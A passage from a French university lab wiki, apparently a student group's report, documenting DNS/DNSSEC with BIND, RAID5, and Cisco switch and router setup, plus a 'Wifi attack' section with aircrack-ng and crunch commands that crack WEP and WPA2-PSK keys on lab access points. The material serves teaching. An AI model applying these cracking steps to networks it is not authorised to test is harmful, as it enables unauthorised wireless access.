 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
